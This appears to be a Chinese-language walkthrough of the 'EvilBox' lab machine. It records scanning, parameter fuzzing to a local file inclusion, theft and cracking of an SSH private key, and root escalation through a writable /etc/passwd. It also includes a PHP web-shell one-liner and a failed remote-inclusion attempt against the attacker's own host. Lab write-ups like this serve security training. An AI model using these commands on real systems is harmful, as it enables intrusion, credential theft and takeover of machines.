EvilBox
目录
1.主机发现
arp-scan -l
namp -Pn 192.168.56.0
2.端口扫描
nmap -p22.80 -sV 192.168.56.105
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
3.目录扫描
dirsearch -u 192.168.56.105
还有别的工具:dirb gobuster等
[19:35:36] 200 - /robots.txt
[19:35:37] 200 - /secret/
[19:35:37] 301 - /secret -> http://192.168.56.105/secret/
什么都没发现,继续往下扫目录:能够发现evil.php打开依旧是空白的
dirb http://192.168.56.105/secret -w /usr/share/webshells/SecLists-master/Discovery/Web-Content/directory-list-1.0.txt -X .php
字典链接:
https://github.com/danielmiessler/SecLists
4.漏洞发现利用
ssh爆破尝试不成功。目录中存在evil.php,依旧是空白的,像这种页面不存在参数的情况下,需要爆破出参数。
FUZZ爆破参数:wfuzz -u "http://192.168.56.105/secret/evil.php?FUZZ=../../../../../etc/passwd" -w /usr/share/SecLists-master/Discovery/Web-Content/burp-parameter-names.txt
回显过多,没筛选:添加参数筛选一下:得到参数command
wfuzz -u "http://192.168.56.105/secret/evil.php?FUZZ=../../../../../etc/passwd" -w /usr/share/SecLists-master/Discovery/Web-Content/burp-parameter-names.txt --hw 0
因为有文件包含漏洞:尝试远程包含漏洞是否可行
vi a.php
<?php $var=shell_exec($_GET['cmd']); echo $var ?>
kali打开apache服务
systemctl start apache2
查看ip a
?commond=http://192.168.56.102/a.php?cmd=id
测试结果失败。
伪协议尝试一下:查看下evil文件
command=php://filter/comvert.base64-encode/resource=evil.php
那么尝试下写入数据:
command=php://filter/comvert.base64-decode/resource=test.php&txt=MTlz(base64加密后的值)
读取:
192.168.56.105/secret/test.php
结果依旧是失败的。
只能看看用户的线索了:
ssh mowree@192.168.56.105 -v -v参数可以知道该用户支持哪些登录方式
支持公钥和密码,那么我们就去找公钥的内容:
文件位置:
http://192.168.56.105/secret/evil.php?command=../../../../../home/mowree/.ssh/authorized_keys
http://192.168.56.105/secret/evil.php?command=../../../../../home/mowree/.ssh/id_rsa
id_rsa : 生成的私钥文件
id_rsa.pub : 生成的公钥文件
authorized_keys
把私钥复制放在文件中,增加权限,登陆时使用即可:
但是这个私钥经过了加密:还需要输入密码。那我们就去尝试爆破,使用大字典去爆破。
cp /usr/share/wordlists/rockyou.txt.gz . #这是kali自带的大字典
解压:gunzip rockyou.txt.gz
不过可以使用 john进行离线密码破解,先使用john 的插件将 id_rsa转换成可以被破解的样式,然后使用john进行破解
cd /usr/share//john/
./ssh2john.py ~/id_rsa > ~/hash
cd
ls #可以看到hash文件了
爆破:
john hash --wordlist=rockyou.txt
很快就出来了:unicorn
5.提权
进入用户后提权:一般查看history,sudo -l,crontab -l 计划任务
还有uname -a 查看版本。searchsploit 4.19 尝试过,没用
还有suid的提取方法:
find / -perm /4000 2>/dev/null 4000代表的suid的权限
没找到能够利用的文件。
find / -perm /2000 2>/dev/null 2000 代表sgid的文件
没找到能够利用的文件。
最后找能够写入权限的文件,说不定文件能够写入,文件也是root权限运行
find / -writable 2>/dev/null | grep -v proc
看到了一个/etc/passwd 这个文件居然改写。
利用方法:
openssl passwd -1 -1代表一种加密方式
输入密码:123
再次输入:123
$1$2u5S3KDD$sD9r4Zdg2PBYfP6S.Wgru/
然后编辑 /etc/passwd
把root的密码x 修改成 $1$2u5S3KDD$sD9r4Zdg2PBYfP6S.Wgru/
最后: su root 密码123